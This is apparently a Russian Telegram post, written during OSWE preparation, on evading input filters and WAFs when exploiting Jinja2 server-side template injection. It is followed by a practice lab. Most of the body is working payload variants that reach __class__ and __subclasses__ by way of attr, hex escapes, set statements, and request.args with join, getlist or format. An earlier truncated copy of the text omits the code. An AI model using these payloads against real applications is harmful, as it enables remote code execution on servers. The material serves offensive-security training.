[Обход фильтров в SSTI в Jinja2]
Не так давно в рамках подготовки к OSWE столкнулся с необходимостью обходить фильтры SSTI, проверяющие непосредственный темплейт.
Уязвимое приложение проверяло наличие
Поэтому ловите несколько способов модификации пейлоада, чтобы обойти подобные фильтры или даже WAF целиком:
🔸 Для обхода фильтра по
🔸 Можно использовать сложение строк или закодировать
🔸 Также можно обратиться к атрибутам по индексу
🔸 Кроме того, можно использовать
🔸 Для обхода фильтра по
🔸 Для обхода фильтра по
🔸 В случае, если встретился фильтр по
Конечно количество фильтров может быть разнообразным, но тут уже скорее встает вопрос комбинации предложенных выше методов. 👆
Для закрепления я разработал небольшой стенд 🔥. Кому будет интересно, то можете проверить знания и навыки в деле!
@GigaHack
#web #stand #SSTI #learn #OSWE
Не так давно в рамках подготовки к OSWE столкнулся с необходимостью обходить фильтры SSTI, проверяющие непосредственный темплейт.
Уязвимое приложение проверяло наличие
.__
в строке передаваемого темплейта, что не давало просто использовать пейлоад из HackTricks и наслаждаться RCE на уязвимой машине. Поэтому ловите несколько способов модификации пейлоада, чтобы обойти подобные фильтры или даже WAF целиком:
🔸 Для обхода фильтра по
.__
можно использовать |attr()
{{ ''|attr('__class__’)}}
🔸 Можно использовать сложение строк или закодировать
{{request|attr("__"+"class"+"__")}}
{{''['\x5f\x5fclass\x5f\x5f']}}
🔸 Также можно обратиться к атрибутам по индексу
request["__class__"]
🔸 Кроме того, можно использовать
Statements
для определения переменных в темплейте{% set string = "ssti" %}
{% set class = "__class__" %}
{{ string|attr(class)}}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
🔸 Для обхода фильтра по
__
можно использовать requests.args
для передачи частей полезной нагрузки в параметрах запроса и |join
для соединения элементов в одну строку{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
🔸 Для обхода фильтра по
[]
можно использовать |getlist()
. Данный метод возвращает всех значения, связанные с определенным ключом в запросе{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
🔸 В случае, если встретился фильтр по
|join
, можно использовать |format
для форматирования строк по переданным значениями{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
Конечно количество фильтров может быть разнообразным, но тут уже скорее встает вопрос комбинации предложенных выше методов. 👆
Для закрепления я разработал небольшой стенд 🔥. Кому будет интересно, то можете проверить знания и навыки в деле!
@GigaHack
#web #stand #SSTI #learn #OSWE
👍19🔥6❤1👌1🦄1